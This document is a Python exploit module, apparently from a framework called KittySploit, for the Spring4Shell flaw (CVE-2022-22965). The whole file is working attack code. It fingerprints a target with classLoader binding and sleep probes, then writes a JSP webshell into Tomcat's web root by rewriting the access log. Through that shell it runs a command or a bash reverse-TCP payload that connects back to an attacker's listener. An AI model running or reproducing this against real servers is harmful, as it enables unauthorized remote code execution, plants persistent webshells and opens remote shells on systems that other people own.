Spring4Shell RCE (CVE-2022-22965)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Spring4Shell parameter binding RCE (CVE-2022-22965)."""

import random
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Spring4Shell RCE (CVE-2022-22965)',
        'description': (
            'Exploits CVE-2022-22965 Spring Framework classLoader parameter binding '
            'to write a JSP webshell via Tomcat access log manipulation, then '
            'executes the configured reverse CMD payload.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2022-22965'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2022-22965',
        ],
        'tags': ['spring', 'spring4shell', 'tomcat', 'java', 'rce', 'kev'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 6,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'tomcat log write'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/spring4shell_detect'],
            },
        },
    }

    tomcat_path = OptString('webapps/ROOT', 'Tomcat webapp path for log write', required=False)
    shell_name = OptString('', 'JSP shell filename (random if empty)', required=False)
    command = OptString('', 'Command instead of payload', required=False)

    def _shell_name(self) -> str:
        name = str(self.shell_name or '').strip()
        return name if name else f'ks_{self.random_text(8)}.jsp'

    def _binding_params(self, suffix: str, pattern: str) -> dict:
        base = (
            'class.module.classLoader.resources.context.parent.pipeline.'
            f'first.{suffix}'
        )
        return {base: pattern}

    def _sleep_probe(self) -> bool:
        sleep_secs = random.randint(4, 7)
        params = self._binding_params(
            'pattern',
            f'${{T(java.lang.Thread).sleep({sleep_secs * 1000})}}',
        )
        start = time.monotonic()
        self.http_request(method='GET', path='/', params=params, allow_redirects=False)
        return (time.monotonic() - start) >= (sleep_secs - 0.5)

    def _write_shell(self, jsp_path: str, jsp_content: str) -> bool:
        params = {}
        params.update(self._binding_params('pattern', jsp_content))
        params.update(self._binding_params('suffix', jsp_path))
        params.update(self._binding_params('directory', 'webapps/ROOT'))
        params.update(self._binding_params('prefix', ''))
        params.update(self._binding_params('fileDateFormat', ''))
        r = self.http_request(method='GET', path='/', params=params, allow_redirects=False)
        return bool(r)

    def check(self):
        baseline = self.http_request(method='GET', path='/', allow_redirects=False)
        if not baseline:
            return {'vulnerable': False, 'reason': 'Target unreachable', 'confidence': 'low'}
        probe_path = (
            '/?class.module.classLoader.resources.context.parent.pipeline.'
            'first.pattern=test&class.module.classLoader.resources.context.'
            'parent.pipeline.first.suffix=.jsp'
        )
        probe = self.http_request(method='GET', path=probe_path, allow_redirects=False)
        if not probe:
            return {'vulnerable': False, 'reason': 'Probe failed', 'confidence': 'low'}
        body = (probe.text or '').lower()
        indicators = ('classloader', 'springframework', 'invalid property', 'bindexception')
        if probe.status_code in (400, 500) and any(t in body for t in indicators):
            return {'vulnerable': True, 'reason': 'Spring classLoader binding anomaly', 'confidence': 'high'}
        if self._sleep_probe():
            return {'vulnerable': True, 'reason': 'Spring4Shell sleep probe confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Spring4Shell probe failed', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('CVE-2022-22965 — Spring4Shell')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        print_success(chk.get('reason', 'Target appears vulnerable'))
        shell = self._shell_name()
        jsp = (
            '<% Runtime.getRuntime().exec(request.getParameter("c")); %>\n'
        )
        print_status(f'Writing JSP webshell {shell!r} via access log...')
        self._write_shell(shell, jsp)
        shell_path = f'/{shell}'
        marker = self.random_text(6)
        tr = self.http_request(method='GET', path=shell_path, params={'c': f'echo kitty-{marker}'}, allow_redirects=False)
        if tr and tr.status_code == 200:
            print_success(f'Webshell reachable at {shell_path}')
        print_status('Delivering payload...')
        self.http_request(method='GET', path=shell_path, params={'c': cmd}, allow_redirects=False)
        print_success('Payload dispatched — check listener for session')
        self.vulnerable()
        return True